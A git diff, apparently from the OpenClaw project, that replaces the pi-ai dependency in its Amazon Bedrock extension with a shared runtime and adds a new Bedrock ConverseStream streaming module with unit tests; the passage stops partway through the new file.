"version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "license": "Apache-2.0" - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/node-domexception": { - "name": "@nolyfill/domexception", - "version": "1.0.28", - "resolved": "https://registry.npmjs.org/@nolyfill/domexception/-/domexception-1.0.28.tgz", - "integrity": "sha512-tlc/FcYIv5i8RYsl2iDil4A0gOihaas1R5jPcIC4Zw3GhjKsVilw90aHcVlhZPTBLGBzd379S+VcnsDjd9ChiA==", - "license": "MIT", - "engines": { - "node": ">=12.4.0" - } - }, - "node_modules/node-fetch": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", - "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", - "license": "MIT", - "dependencies": { - "data-uri-to-buffer": "^4.0.0", - "fetch-blob": "^3.1.4", - "formdata-polyfill": "^4.0.10" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/node-fetch" - } - }, - "node_modules/openai": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/openai/-/openai-6.26.0.tgz", - "integrity": "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==", - "license": "Apache-2.0", - "bin": { - "openai": "bin/cli" - }, - "peerDependencies": { - "ws": "^8.18.0", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "ws": { - "optional": true - }, - "zod": { - "optional": true - } - } - }, - "node_modules/p-retry": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", - "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", - "license": "MIT", - "dependencies": { - "@types/retry": "0.12.0", - "retry": "^0.13.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/partial-json": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/partial-json/-/partial-json-0.1.7.tgz", - "integrity": "sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA==", - "license": "MIT" - }, "node_modules/path-expression-matcher": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", @@ -1076,58 +664,6 @@ "node": ">=14.0.0" } }, - "node_modules/protobufjs": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.4.0.tgz", - "integrity": "sha512-iriNhQ57SYA5Jbdi+41AyPdx6jPPkFO7DODzkOBmqFhgYn/JzX2HxgxYPY18eQAs3CP/AWqtPvkWn8rclRAxdQ==", - "hasInstallScript": true, - "license": "BSD-3-Clause", - "dependencies": { - "long": "^5.3.2" - }, - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/retry": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", - "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/standardwebhooks": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", - "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", - "license": "MIT", - "dependencies": { - "@stablelib/base64": "^1.0.0", - "fast-sha256": "^1.3.0" - } - }, "node_modules/strnum": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.3.0.tgz", @@ -1140,54 +676,12 @@ ], "license": "MIT" }, - "node_modules/ts-algebra": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", - "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", - "license": "MIT" - }, "node_modules/tslib": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", "license": "0BSD" }, - "node_modules/typebox": { - "version": "1.1.38", - "resolved": "https://registry.npmjs.org/typebox/-/typebox-1.1.38.tgz", - "integrity": "sha512-pZ0aQPmMmXoUvSbeuWf/Hzsc+avNw/Zd6VeE8CFgkVGWyuHPJvqeJJDeJqLve+K70LvjYIoleGcoJHPT17cWoA==", - "license": "MIT" - }, - "node_modules/web-streams-polyfill": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", - "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/ws": { - "version": "8.21.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", - "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, "node_modules/xml-naming": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", @@ -1202,24 +696,6 @@ "engines": { "node": ">=16.0.0" } - }, - "node_modules/zod": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-to-json-schema": { - "version": "3.25.2", - "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", - "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", - "license": "ISC", - "peerDependencies": { - "zod": "^3.25.28 || ^4" - } } } } diff --git a/extensions/amazon-bedrock/package.json b/extensions/amazon-bedrock/package.json index 82570d4dc5a..b9ff179b77a 100644 --- a/extensions/amazon-bedrock/package.json +++ b/extensions/amazon-bedrock/package.json @@ -11,8 +11,9 @@ "@aws-sdk/client-bedrock": "3.1053.0", "@aws-sdk/client-bedrock-runtime": "3.1053.0", "@aws-sdk/credential-provider-node": "3.972.44", - "@earendil-works/pi-ai": "0.75.5", - "@smithy/shared-ini-file-loader": "4.5.4" + "@smithy/node-http-handler": "4.7.3", + "@smithy/shared-ini-file-loader": "4.5.4", + "@smithy/types": "4.14.2" }, "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" diff --git a/extensions/amazon-bedrock/provider-policy-api.test.ts b/extensions/amazon-bedrock/provider-policy-api.test.ts index 1b64b310673..9264073faaf 100644 --- a/extensions/amazon-bedrock/provider-policy-api.test.ts +++ b/extensions/amazon-bedrock/provider-policy-api.test.ts @@ -29,15 +29,6 @@ describe("amazon-bedrock provider-policy-api", () => { ).toEqual(["off", "minimal", "low", "medium", "high", "xhigh", "adaptive", "max"]); }); - it.each(["bedrock", "aws-bedrock"])("accepts provider alias %s", (provider) => { - expect( - resolveThinkingProfile({ - provider, - modelId: "global.anthropic.claude-opus-4-6-v1", - })?.levels.map((level) => level.id), - ).toContain("adaptive"); - }); - it("ignores unrelated providers", () => { expect( resolveThinkingProfile({ provider: "anthropic", modelId: "claude-opus-4-6" }), diff --git a/extensions/amazon-bedrock/register.sync.runtime.ts b/extensions/amazon-bedrock/register.sync.runtime.ts index 9067c0937b8..e9229d6cd83 100644 --- a/extensions/amazon-bedrock/register.sync.runtime.ts +++ b/extensions/amazon-bedrock/register.sync.runtime.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-contracts"; +import { registerApiProvider, streamSimple } from "openclaw/plugin-sdk/llm"; import { resolvePluginConfigObject } from "openclaw/plugin-sdk/plugin-config-runtime"; import type { OpenClawPluginApi } from "openclaw/plugin-sdk/plugin-entry"; import { @@ -9,8 +9,10 @@ import { } from "openclaw/plugin-sdk/provider-model-shared"; import { streamWithPayloadPatch } from "openclaw/plugin-sdk/provider-stream-shared"; import { refreshAwsSharedConfigCacheForBedrock } from "./aws-credential-refresh.js"; +import { supportsBedrockPromptCaching } from "./bedrock-options.js"; import { mergeImplicitBedrockProvider, resolveBedrockConfigApiKey } from "./discovery-shared.js"; import { bedrockMemoryEmbeddingProviderAdapter } from "./memory-embedding-adapter.js"; +import { streamBedrock, streamSimpleBedrock } from "./stream.runtime.js"; import { isOpus47BedrockModelRef, resolveBedrockClaudeThinkingProfile } from "./thinking-policy.js"; type GuardrailConfig = { @@ -120,39 +122,15 @@ function createGuardrailWrapStreamFn( }; } -/** - * Mirrors the shipped pi-ai Bedrock `supportsPromptCaching` matcher. - * Keep this in sync with node_modules/@earendil-works/pi-ai/dist/providers/amazon-bedrock.js. - */ -function matchesPiAiPromptCachingModelId(modelId: string): boolean { - const id = modelId.toLowerCase(); - if (!id.includes("claude")) { - return false; - } - // Claude 4.x - if (id.includes("-4-") || id.includes("-4.")) { - return true; - } - // Claude 3.7 Sonnet - if (id.includes("claude-3-7-sonnet")) { - return true; - } - // Claude 3.5 Haiku - if (id.includes("claude-3-5-haiku")) { - return true; - } - return false; -} - -function piAiWouldInjectCachePoints(modelId: string): boolean { - return matchesPiAiPromptCachingModelId(modelId); +function sharedRuntimeWouldInjectCachePoints(modelId: string): boolean { + return supportsBedrockPromptCaching(modelId); } /** * Detect Bedrock application inference profile ARNs — these are the only IDs - * where pi-ai's model-name-based checks fail because the ARN is opaque. + * where model-name-based checks fail because the ARN is opaque. * System-defined profiles (us., eu., global.) and base model IDs always - * contain the model name and are handled by pi-ai natively. + * contain the model name and are handled by the shared model runtime natively. */ const BEDROCK_APP_INFERENCE_PROFILE_RE = /^arn:aws(-cn|-us-gov)?:bedrock:.*:application-inference-profile\//i; @@ -162,21 +140,21 @@ function isBedrockAppInferenceProfile(modelId: string): boolean { } /** - * pi-ai's internal `supportsPromptCaching` checks `model.id` for specific Claude + * The shared runtime's `supportsPromptCaching` checks `model.id` for specific Claude * model name patterns, which fails for application inference profile ARNs (opaque * IDs that may not contain the model name). When OpenClaw's `isAnthropicBedrockModel` - * identifies the model but pi-ai won't inject cache points, we do it via onPayload. + * identifies the model but the shared runtime won't inject cache points, we do it via onPayload. * * Gated to application inference profile ARNs only — regular Claude model IDs and - * system-defined inference profiles (us.anthropic.claude-*) are left to pi-ai. + * system-defined inference profiles (us.anthropic.claude-*) are left to the shared runtime. */ function needsCachePointInjection(modelId: string): boolean { // Only target application inference profile ARNs. if (!isBedrockAppInferenceProfile(modelId)) { return false; } - // If pi-ai would already inject cache points, skip. - if (piAiWouldInjectCachePoints(modelId)) { + // If the shared runtime would already inject cache points, skip. + if (sharedRuntimeWouldInjectCachePoints(modelId)) { return false; } // Check if OpenClaw identifies this as an Anthropic model via the ARN heuristic. @@ -198,10 +176,10 @@ function extractRegionFromArn(arn: string): string | undefined { /** * Check if a resolved foundation model ARN supports prompt caching using the - * same matcher pi-ai uses for direct model IDs. + * same matcher OpenClaw uses for direct model IDs. */ function resolvedModelSupportsCaching(modelArn: string): boolean { - return matchesPiAiPromptCachingModelId(modelArn); + return supportsBedrockPromptCaching(modelArn); } /** @@ -306,7 +284,7 @@ function makeCachePoint(cacheRetention: string | undefined): BedrockCachePoint { } /** - * Inject Bedrock Converse cache points into the payload when pi-ai skipped them + * Inject Bedrock Converse cache points into the payload when the shared runtime skipped them * because it didn't recognize the model ID (application inference profiles). */ function injectBedrockCachePoints( @@ -373,6 +351,15 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { const anthropicByModelReplayHooks = ANTHROPIC_BY_MODEL_REPLAY_HOOKS; const startupPluginConfig = (api.pluginConfig ?? {}) as AmazonBedrockPluginConfig; + registerApiProvider( + { + api: "bedrock-converse-stream", + stream: streamBedrock, + streamSimple: streamSimpleBedrock, + }, + `plugin:${providerId}`, + ); + function resolveCurrentPluginConfig( config: OpenClawConfig | undefined, ): AmazonBedrockPluginConfig | undefined { @@ -450,15 +437,9 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { return bedrockRegionRe.exec(baseUrl)?.[1]; } - /** - * Resolve the AWS region for Bedrock API calls. - * Provider-specific baseUrl wins over global bedrockDiscovery to avoid signing - * with the wrong region when discovery and provider target different regions. - */ + /** Resolve the AWS region for Bedrock API calls from provider-specific baseUrl. */ function resolveBedrockRegion( - config: - | { models?: { bedrockDiscovery?: { region?: string }; providers?: Record } } - | undefined, + config: { models?: { providers?: Record } } | undefined, ): string | undefined { // Try provider-specific baseUrl first. const providers = config?.models?.providers; @@ -481,7 +462,7 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { } } } - return config?.models?.bedrockDiscovery?.region; + return undefined; } api.registerProvider({ @@ -495,7 +476,6 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { const { resolveImplicitBedrockProvider } = await import("./discovery.js"); const currentPluginConfig = resolveCurrentPluginConfig(ctx.config); const implicit = await resolveImplicitBedrockProvider({ - config: ctx.config, pluginConfig: currentPluginConfig, env: ctx.env, }); @@ -513,7 +493,8 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { resolveConfigApiKey: ({ env }) => resolveBedrockConfigApiKey(env), ...anthropicByModelReplayHooks, wrapStreamFn: ({ modelId, config, model, streamFn, thinkingLevel, extraParams }) => { - const currentGuardrail = resolveCurrentPluginConfig(config)?.guardrail; + const currentPluginConfig = resolveCurrentPluginConfig(config); + const currentGuardrail = currentPluginConfig?.guardrail; let wrapped = (currentGuardrail?.guardrailIdentifier && currentGuardrail?.guardrailVersion ? createGuardrailWrapStreamFn(baseWrapStreamFn, currentGuardrail)({ modelId, streamFn }) @@ -526,9 +507,12 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { wrapped = createBedrockServiceTierWrapper(wrapped, serviceTier); } - const region = resolveBedrockRegion(config) ?? extractRegionFromBaseUrl(model?.baseUrl); + const region = + resolveBedrockRegion(config) ?? + extractRegionFromBaseUrl(model?.baseUrl) ?? + currentPluginConfig?.discovery?.region; const mayNeedCacheInjection = - isBedrockAppInferenceProfile(modelId) && !piAiWouldInjectCachePoints(modelId); + isBedrockAppInferenceProfile(modelId) && !sharedRuntimeWouldInjectCachePoints(modelId); const shouldOmitTemperature = isOpus47BedrockModelRef(modelId); const shouldPatchMaxThinking = shouldOmitTemperature && thinkingLevel === "max"; @@ -575,7 +559,7 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { } // Use the cacheRetention from options if explicitly set. - // When undefined, default to "short" to match pi-ai's internal default. + // When undefined, default to "short" to match the shared runtime default. // Note: if the user set cacheRetention: "none" but the opaque ARN wasn't // recognized by resolveAnthropicCacheRetentionFamily, the value may have // been dropped upstream. This is a known limitation — the proper fix is @@ -614,7 +598,7 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { } // Slow path: opaque profile ID — resolve underlying model via API (cached). - // pi-ai's onPayload supports async, so we await the resolution inline. + // onPayload supports async, so we await the resolution inline. return underlying( streamModel, context, diff --git a/extensions/amazon-bedrock/stream.runtime.test.ts b/extensions/amazon-bedrock/stream.runtime.test.ts new file mode 100644 index 00000000000..4b87ce9e0f2 --- /dev/null +++ b/extensions/amazon-bedrock/stream.runtime.test.ts @@ -0,0 +1,81 @@ +import { describe, expect, it } from "vitest"; +import { testing } from "./stream.runtime.js"; + +function bedrockModel(overrides: Record) { + return { + api: "bedrock-converse-stream", + provider: "amazon-bedrock", + id: "amazon.nova-micro-v1:0", + name: "Nova Micro", + baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128000, + maxTokens: 4096, + ...overrides, + } as never; +} + +function signedThinkingContext(modelId: string) { + return { + messages: [ + { + role: "assistant", + api: "bedrock-converse-stream", + provider: "amazon-bedrock", + model: modelId, + content: [{ type: "thinking", thinking: "private reasoning", thinkingSignature: "sig-1" }], + }, + ], + } as never; +} + +describe("Bedrock reasoning replay", () => { + it("preserves signed reasoning for Claude profile descriptors", () => { + const modelId = + "arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/profile-abc"; + const messages = testing.convertMessages( + signedThinkingContext(modelId), + bedrockModel({ + id: modelId, + name: "Claude Sonnet application profile", + }), + "none", + ); + + expect(messages[0]?.content).toEqual([ + { + reasoningContent: { + reasoningText: { text: "private reasoning", signature: "sig-1" }, + }, + }, + ]); + }); + + it("replays signed reasoning as plain text for non-Claude models", () => { + const modelId = "amazon.nova-micro-v1:0"; + const messages = testing.convertMessages( + signedThinkingContext(modelId), + bedrockModel({ id: modelId, name: "Nova Micro" }), + "none", + ); + + expect(messages[0]?.content).toEqual([{ text: "private reasoning" }]); + }); +}); + +describe("Bedrock profile endpoint resolution", () => { + it("treats request profiles as configured profiles for standard endpoints", () => { + const endpoint = "https://bedrock-runtime.us-west-2.amazonaws.com"; + + expect(testing.hasConfiguredBedrockProfile({ profile: "prod-bedrock" })).toBe(true); + expect( + testing.shouldUseExplicitBedrockEndpoint( + endpoint, + undefined, + testing.hasConfiguredBedrockProfile({ profile: "prod-bedrock" }), + ), + ).toBe(false); + }); +}); diff --git a/extensions/amazon-bedrock/stream.runtime.ts b/extensions/amazon-bedrock/stream.runtime.ts new file mode 100644 index 00000000000..97d5f1c65e8 --- /dev/null +++ b/extensions/amazon-bedrock/stream.runtime.ts @@ -0,0 +1,949 @@ +import { + CachePointType, + CacheTTL, + BedrockRuntimeClient, + type BedrockRuntimeClientConfig, + BedrockRuntimeServiceException, + type ContentBlock, + type ContentBlockDeltaEvent, + type ContentBlockStartEvent, + type ContentBlockStopEvent, + ConversationRole, + ConverseStreamCommand, + type ConverseStreamMetadataEvent, + ImageFormat, + type Message, + StopReason as BedrockStopReason, + type SystemContentBlock, + type Tool as BedrockTool, + type ToolChoice, + type ToolConfiguration, + ToolResultStatus, +} from "@aws-sdk/client-bedrock-runtime"; +import { NodeHttpHandler } from "@smithy/node-http-handler"; +import type { DocumentType } from "@smithy/types"; +import { + adjustMaxTokensForThinking, + AssistantMessageEventStream, + buildBaseOptions, + calculateCost, + clampReasoning, + createHttpProxyAgentsForTarget, + parseStreamingJson, + sanitizeSurrogates, + transformMessages, + type Api, + type AssistantMessage, + type CacheRetention, + type Context, + type Model, + type SimpleStreamOptions, + type StopReason, + type StreamFunction, + type TextContent, + type ThinkingContent, + type ThinkingLevel, + type Tool, + type ToolCall, + type ToolResultMessage, +} from "openclaw/plugin-sdk/llm"; +import { supportsBedrockPromptCaching, type BedrockOptions } from "./bedrock-options.js"; + +type Block = (TextContent | ThinkingContent | ToolCall) & { index?: number; partialJson?: string }; + +export const streamBedrock: StreamFunction<"bedrock-converse-stream", BedrockOptions> = ( + model: Model<"bedrock-converse-stream">, + context: Context, + options: BedrockOptions = {}, +) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: "bedrock-converse-stream" as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + const blocks = output.content as Block[]; + + const config: BedrockRuntimeClientConfig = { + profile: options.profile, + }; + const configuredRegion = getConfiguredBedrockRegion(options); + const hasConfiguredProfile = hasConfiguredBedrockProfile(options); + const endpointRegion = getStandardBedrockEndpointRegion(model.baseUrl); + const useExplicitEndpoint = shouldUseExplicitBedrockEndpoint( + model.baseUrl, + configuredRegion, + hasConfiguredProfile, + ); + + // Only pin standard AWS Bedrock runtime endpoints when no region/profile is configured. + // This preserves custom endpoints (VPC/proxy) from #3402 without forcing built-in + // catalog defaults such as us-east-1 to override AWS_REGION/AWS_PROFILE. + if (useExplicitEndpoint) { + config.endpoint = model.baseUrl; + } + + // Resolve bearer token for Bedrock API key auth. + const bearerToken = options.bearerToken || process.env.AWS_BEARER_TOKEN_BEDROCK || undefined; + const useBearerToken = bearerToken !== undefined && process.env.AWS_BEDROCK_SKIP_AUTH !== "1"; + + // in Node.js/Bun environment only + if (typeof process !== "undefined" && (process.versions?.node || process.versions?.bun)) { + // Region resolution: explicit option > env vars > SDK default chain. + // When AWS_PROFILE is set, we leave region undefined so the SDK can + // resovle it from aws profile configs. Otherwise fall back to us-east-1. + if (configuredRegion) { + config.region = configuredRegion; + } else if (endpointRegion && useExplicitEndpoint) { + config.region = endpointRegion; + } else if (!hasConfiguredProfile) { + config.region = "us-east-1"; + } + + // Support proxies that don't need authentication + if (process.env.AWS_BEDROCK_SKIP_AUTH === "1") { + config.credentials = { + accessKeyId: "dummy-access-key", + secretAccessKey: "dummy-secret-key", + }; + } + + const proxyAgents = createHttpProxyAgentsForTarget(model.baseUrl); + if (proxyAgents) { + // Bedrock runtime uses NodeHttp2Handler by default since v3.798.0, which is based + // on `http2` module and has no support for http agent. + // Use NodeHttpHandler to support HTTP(S) proxy agents. + config.requestHandler = new NodeHttpHandler(proxyAgents); + } else if (process.env.AWS_BEDROCK_FORCE_HTTP1 === "1") { + // Some custom endpoints require HTTP/1.1 instead of HTTP/2 + config.requestHandler = new NodeHttpHandler(); + } + } else { + // Non-Node environment (browser): fall back to us-east-1 since + // there's no config file resolution available. + config.region = + configuredRegion || + (endpointRegion && useExplicitEndpoint ? endpointRegion : undefined) || + "us-east-1"; + } + + if (useBearerToken) { + config.token = { token: bearerToken }; + config.authSchemePreference = ["httpBearerAuth"]; + } + + try { + const client = new BedrockRuntimeClient(config); + const cacheRetention = resolveCacheRetention(options.cacheRetention); + let commandInput = { + modelId: model.id, + messages: convertMessages(context, model, cacheRetention), + system: buildSystemPrompt(context.systemPrompt, model, cacheRetention), + inferenceConfig: { + ...(options.maxTokens !== undefined && { maxTokens: options.maxTokens }), + ...(options.temperature !== undefined && { temperature: options.temperature }), + }, + toolConfig: convertToolConfig(context.tools, options.toolChoice), + additionalModelRequestFields: buildAdditionalModelRequestFields(model, options), + ...(options.requestMetadata !== undefined && { requestMetadata: options.requestMetadata }), + }; + const nextCommandInput = await options?.onPayload?.(commandInput, model); + if (nextCommandInput !== undefined) { + commandInput = nextCommandInput as typeof commandInput; + } + const command = new ConverseStreamCommand(commandInput); + + const response = await client.send(command, { abortSignal: options.signal }); + if (response.$metadata.httpStatusCode !== undefined) { + const responseHeaders: Record = {}; + if (response.$metadata.requestId) { + responseHeaders["x-amzn-requestid"] = response.$metadata.requestId; + } + await options?.onResponse?.( + { status: response.$metadata.httpStatusCode, headers: responseHeaders }, + model, + ); + } + + for await (const item of response.stream!) { + if (item.messageStart) { + if (item.messageStart.role !== ConversationRole.ASSISTANT) { + throw new Error( + "Unexpected assistant message start but got user message start instead", + ); + } + stream.push({ type: "start", partial: output }); + } else if (item.contentBlockStart) { + handleContentBlockStart(item.contentBlockStart, blocks, output, stream); + } else if (item.contentBlockDelta) { + handleContentBlockDelta(item.contentBlockDelta, blocks, output, stream); + } else if (item.contentBlockStop) { + handleContentBlockStop(item.contentBlockStop, blocks, output, stream); + } else if (item.messageStop) { + output.stopReason = mapStopReason(item.messageStop.stopReason); + } else if (item.metadata) { + handleMetadata(item.metadata, model, output); + } else if (item.internalServerException) { + throw item.internalServerException; + } else if (item.modelStreamErrorException) { + throw item.modelStreamErrorException; + } else if (item.validationException) { + throw item.validationException; + } else if (item.throttlingException) { + throw item.throttlingException; + } else if (item.serviceUnavailableException) { + throw item.serviceUnavailableException; + } + } + + if (options.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (output.stopReason === "error" || output.stopReason === "aborted") { + throw new Error("An unknown error occurred"); + } + + stream.push({ type: "done", reason: output.stopReason, message: output }); + stream.end(); + } catch (error) { + for (const block of output.content) { + delete (block as Block).index; + // partialJson is only a streaming scratch buffer; never persist it. + delete (block as Block).partialJson; + } + output.stopReason = options.signal?.aborted ? "aborted" : "error"; + output.errorMessage = formatBedrockError(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +/** + * Human-readable prefixes for Bedrock SDK exception names. + * The downstream retry logic in agent-session matches patterns like + * `server.?error` and `service.?unavailable`, so we preserve the legacy + * prefix format rather than using the raw SDK exception name. + */ +const BEDROCK_ERROR_PREFIXES: Record = { + InternalServerException: "Internal server error", + ModelStreamErrorException: "Model stream error", + ValidationException: "Validation error", + ThrottlingException: "Throttling error", + ServiceUnavailableException: "Service unavailable", +}; + +/** + * Format a Bedrock error with a human-readable prefix. + * AWS SDK exceptions (both from `client.send()` and from stream event items) + * extend BedrockRuntimeServiceException. We map the `.name` to a stable + * human-readable prefix so downstream consumers (retry logic, context-overflow + * detection) can distinguish error categories via simple string matching. + */ +function formatBedrockError(error: unknown): string { + const message = error instanceof Error ? error.message : JSON.stringify(error); + if (error instanceof BedrockRuntimeServiceException) { + const prefix = BEDROCK_ERROR_PREFIXES[error.name] ?? error.name; + return `${prefix}: ${message}`; + } + return message; +} + +export const streamSimpleBedrock: StreamFunction<"bedrock-converse-stream", SimpleStreamOptions> = ( + model: Model<"bedrock-converse-stream">, + context: Context, + options?: SimpleStreamOptions, +) => { + const base = buildBaseOptions(model, options, undefined); + if (!options?.reasoning) { + return streamBedrock(model, context, { + ...base, + reasoning: undefined, + } satisfies BedrockOptions); + } + + if (isAnthropicClaudeModel(model)) { + if (supportsAdaptiveThinking(model.id, model.name)) { + return streamBedrock(model, context, { + ...base, + reasoning: options.reasoning, + thinkingBudgets: options.thinkingBudgets, + } satisfies BedrockOptions); + } + + // Undefined means the caller did not request an output cap; let the helper use the model cap. + // Do not coerce to 0 here, or the thinking budget would become the entire maxTokens value. + const adjusted = adjustMaxTokensForThinking( + base.maxTokens, + model.maxTokens, + options.reasoning, + options.thinkingBudgets, + ); + + return streamBedrock(model, context, { + ...base, + maxTokens: adjusted.maxTokens, + reasoning: options.reasoning, + thinkingBudgets: { + ...options.thinkingBudgets, + [clampReasoning(options.reasoning)!]: adjusted.thinkingBudget, + }, + } satisfies BedrockOptions); + } + + return streamBedrock(model, context, { + ...base, + reasoning: options.reasoning, + thinkingBudgets: options.thinkingBudgets, + } satisfies BedrockOptions); +}; + +function handleContentBlockStart( + event: ContentBlockStartEvent, + blocks: Block[], + output: AssistantMessage, + stream: AssistantMessageEventStream, +): void { + const index = event.contentBlockIndex!; + const start = event.start; + + if (start?.toolUse) { + const block: Block = { + type: "toolCall", + id: start.toolUse.toolUseId || "", + name: start.toolUse.name || "", + arguments: {}, + partialJson: "", + index, + }; + output.content.push(block); + stream.push({ type: "toolcall_start", contentIndex: blocks.length - 1, partial: output }); + } +} + +function handleContentBlockDelta( + event: ContentBlockDeltaEvent, + blocks: Block[], + output: AssistantMessage, + stream: AssistantMessageEventStream, +): void { + const contentBlockIndex = event.contentBlockIndex!; + const delta = event.delta; + let index = blocks.findIndex((b) => b.index === contentBlockIndex); + let block = blocks[index]; + + if (delta?.text !== undefined) { + // If no text block exists yet, create one, as `handleContentBlockStart` is 